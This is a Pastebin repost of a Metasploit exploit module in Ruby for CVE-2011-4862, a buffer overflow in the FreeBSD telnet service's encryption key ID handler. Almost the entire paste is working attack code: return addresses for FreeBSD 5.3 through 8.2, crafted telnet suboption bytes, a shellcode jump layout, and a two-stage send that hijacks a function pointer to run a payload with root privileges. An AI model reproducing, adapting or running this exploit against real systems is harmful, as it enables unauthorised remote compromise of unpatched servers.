Tr3v0r

[BSD] FreeBSD Telnet Service Encryption Key ID Buffer Overfl

Sep 7th, 2014
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.86 KB | None | 0 0
  1. ##
  2. # $Id: $
  3. ##
  4.  
  5. ##
  6. # This file is part of the Metasploit Framework and may be subject to
  7. # redistribution and commercial restrictions. Please see the Metasploit
  8. # Framework web site for more information on licensing and terms of use.
  9. # http://metasploit.com/framework/
  10. ##
  11.  
  12.  
  13. require 'msf/core'
  14.  
  15.  
  16. class Metasploit3 < Msf::Exploit::Remote
  17. Rank = GreatRanking
  18.  
  19. include Msf::Exploit::Remote::Telnet
  20. include Msf::Exploit::BruteTargets
  21.  
  22. def initialize(info = {})
  23. super(update_info(info,
  24. 'Name' => 'FreeBSD Telnet Service Encryption Key ID Buffer Overflow',
  25. 'Description' => %q{
  26. This module exploits a buffer overflow in the encryption option handler of the
  27. FreeBSD telnet service.
  28. },
  29. 'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
  30. 'License' => MSF_LICENSE,
  31. 'References' =>
  32. [
  33. ['CVE', '2011-4862'],
  34. ['OSVDB', '78020'],
  35. ['BID', '51182'],
  36. ['URL', 'http://www.exploit-db.com/exploits/18280/']
  37. ],
  38. 'Privileged' => true,
  39. 'Platform' => 'bsd',
  40. 'Payload' =>
  41. {
  42. 'Space' => 128,
  43. 'BadChars' => "\x00",
  44. },
  45.  
  46. 'Targets' =>
  47. [
  48. [ 'Automatic', { } ],
  49. [ 'FreeBSD 8.2', { 'Ret' => 0x0804a8a9 } ], # call edx
  50. [ 'FreeBSD 8.1', { 'Ret' => 0x0804a889 } ], # call edx
  51. [ 'FreeBSD 8.0', { 'Ret' => 0x0804a869 } ], # call edx
  52. [ 'FreeBSD 7.3/7.4', { 'Ret' => 0x08057bd0 } ], # call edx
  53. [ 'FreeBSD 7.0/7.1/7.2', { 'Ret' => 0x0804c4e0 } ], # call edx
  54. [ 'FreeBSD 6.3/6.4', { 'Ret' => 0x0804a5b4 } ], # call edx
  55. [ 'FreeBSD 6.0/6.1/6.2', { 'Ret' => 0x08052925 } ], # call edx
  56. [ 'FreeBSD 5.5', { 'Ret' => 0x0804cf31 } ], # call edx
  57. # [ 'FreeBSD 5.4', { 'Ret' => 0x08050006 } ] # Version 5.4 does not seem to be exploitable (the crypto() function is not called)
  58. [ 'FreeBSD 5.3', { 'Ret' => 0x8059730 } ], # direct return
  59. # Versions 5.2 and below do not support encyption
  60. ],
  61. 'DefaultTarget' => 0,
  62. 'DisclosureDate' => 'Dec 23 2011'))
  63. end
  64.  
  65. def exploit_target(t)
  66.  
  67. connect
  68. banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
  69. vprint_status(banner_sanitized)
  70.  
  71. enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"
  72. enc_keyid = "\xff\xfa\x26\x07"
  73. end_suboption = "\xff\xf0"
  74.  
  75. # Telnet protocol requires 0xff to be escaped with another
  76. penc = payload.encoded.gsub("\xff", "\xff\xff")
  77.  
  78. key_id = Rex::Text.rand_text_alphanumeric(400)
  79. key_id[ 0, 2] = "\xeb\x76"
  80. key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
  81. key_id[76, 4] = [ t['Ret'] ].pack("V")
  82.  
  83. # Some of these bytes can get mangled, jump over them
  84. key_id[80,112] = Rex::Text.rand_text_alphanumeric(112)
  85.  
  86. # Bounce to the real payload (avoid corruption)
  87. key_id[120, 2] = "\xeb\x46"
  88.  
  89. # The actual payload
  90. key_id[192, penc.length] = penc
  91.  
  92. # Create the Key ID command
  93. sploit = enc_keyid + key_id + end_suboption
  94.  
  95. # Initiate encryption
  96. sock.put(enc_init)
  97.  
  98. # Wait for a successful response
  99. loop do
  100. data = sock.get_once(-1, 5) rescue nil
  101. if not data
  102. raise RuntimeError, "This system does not support encryption"
  103. end
  104. break if data.index("\xff\xfa\x26\x02\x01")
  105. end
  106.  
  107. # The first request smashes the pointer
  108. print_status("Sending first payload")
  109. sock.put(sploit)
  110.  
  111. # Make sure the server replied to the first request
  112. data = sock.get_once(-1, 5)
  113. unless data
  114. print_status("Server did not respond to first payload")
  115. return
  116. end
  117.  
  118. # Some delay between each request seems necessary in some cases
  119. ::IO.select(nil, nil, nil, 0.5)
  120.  
  121. # The second request results in the pointer being called
  122. print_status("Sending second payload...")
  123. sock.put(sploit)
  124.  
  125. handler
  126.  
  127. ::IO.select(nil, nil, nil, 0.5)
  128. disconnect
  129. end
  130.  
  131. end
  132.  
  133.  
  134.  
  135. # 1C7239066BC55011 1337day.com [2014-09-08] 8154F70AC26342A8 #
Add Comment
Please, Sign In to add comment